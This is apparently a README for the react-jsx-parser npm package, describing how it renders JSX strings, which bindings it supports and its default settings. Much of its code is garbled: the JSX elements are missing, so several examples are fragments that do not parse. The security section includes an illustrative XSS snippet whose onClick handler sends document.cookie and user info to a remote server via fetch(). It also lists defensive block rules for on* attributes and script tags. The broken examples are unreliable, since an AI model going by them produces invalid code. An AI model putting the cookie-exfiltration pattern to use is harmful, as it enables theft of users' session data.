A React component which can parse JSX and output rendered React Components
npm install react-jsx-parser[circle-ci-badge]: https://circleci.com/gh/TroyAlford/react-jsx-parser.svg?style=svg
[npm-version]: https://img.shields.io/npm/v/react-jsx-parser.svg
[npm-downloads]: https://img.shields.io/npm/dt/react-jsx-parser.svg
[npm-license]: https://img.shields.io/npm/l/react-jsx-parser.svg
[npm-link]: https://www.npmjs.com/package/react-jsx-parser
A React component which can parse JSX and output rendered React Components.
javascript
import React from 'react'
import JsxParser from 'react-jsx-parser'
import Library from 'some-library-of-components'class InjectableComponent extends Component {
static defaultProps = {
eventHandler: () => {}
}
// ... inner workings of InjectableComponent
}
const MyComponent = () => (
foo: 'bar',
myEventHandler: () => { / ... do stuff ... / },
}}
components={{ InjectableComponent, Library }}
jsx={
}
/>
)
`Because
is passed into the JsxParser.props.components prop, it is treated as a known element
type, and created using React.createElement(...) when parsed out of the JSX. You can also pass in a whole collection
of components, as shown by the Library binding, and then access the individual items with LibraryName.ComponentName.Finally, a note about property bindings. The
JsxParser can handle several types of binding:
- implicit true bindings, such as (equivalent to truthyProp={true})
- string-value binding, such as stringProp="foo"
- expression-binding, such as
- named-value binding, such as (note that this requires a match in bindings)
- simple single statement arrow expressions (item) => {item.name}
The component _does not_ support inline function declarations, such as:
-
, or
- onKeyPress={event => { / do stuff /}}
- Function or arrow functions with bodies This will not work
}This is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:
javascript
onClick={() => {
fetch('/some/remote/server', {
body: JSON.stringify({ cookies: document.cookie, userInfo })
})
}}
/>
`Advanced Usage - Injecting Dynamic JSX
javascript
// Import desired set of components
import { ComponentA, ComponentB } from 'somePackage/Components'
import ComponentC from 'somePackage/ComponentC'
import ComponentD from 'somePackage/ComponentD'
...
// Load an HTML or XML fragment from a remote API
const dynamicHtml = loadRemoteData()
...
// Within your component's render method, bind these components and the fragment as props
components={{ ComponentA, ComponentB, ComponentC, ComponentD }}
jsx={dynamicHtml}
/>
`Any
, ComponentB, ComponentC or ComponentD tags in the dynamically loaded XML/HTML fragment will be rendered as React components. Any unrecognized tags will be handled by React._Note:_ Non-standard tags may throw errors and warnings, but will typically be rendered in a reasonable way.
Advanced Usage - HTML & Self-Closing Tags
When rendering HTML, standards-adherent editors will render img, hr, br, and other
void elements with no trailing />. While this is valid HTML, it is _not_ valid JSX. If you wish to opt-in to a more HTML-like parsing style, set the autoCloseVoidElements prop to true.$3
`jsx
//
has no closing tag, which is valid HTML, but not valid JSX
// Renders: null//
is invalid HTML, but valid JSX
// Renders:
Foo// This is valid HTML, and the
autoCloseVoidElements prop allows it to render
// Renders:
Foo// This would work in a browser, but will no longer parse with
autoCloseVoidElements
// Renders: null
PropTypes / Settings
javascript
JsxParser.defaultProps = {
allowUnknownElements: true, // by default, allow unrecognized elements
// if false, unrecognized elements like are omitted and reported via onError autoCloseVoidElements: false, // by default, unclosed void elements will not parse. See examples
bindings: {}, // by default, do not add any additional bindings
blacklistedAttrs: [/^on.+/i], // default: removes
on* attributes (onClick, onChange, etc.)
// any attribute name which matches any of these RegExps will be omitted entirely blacklistedTags: ['script'], // by default, removes all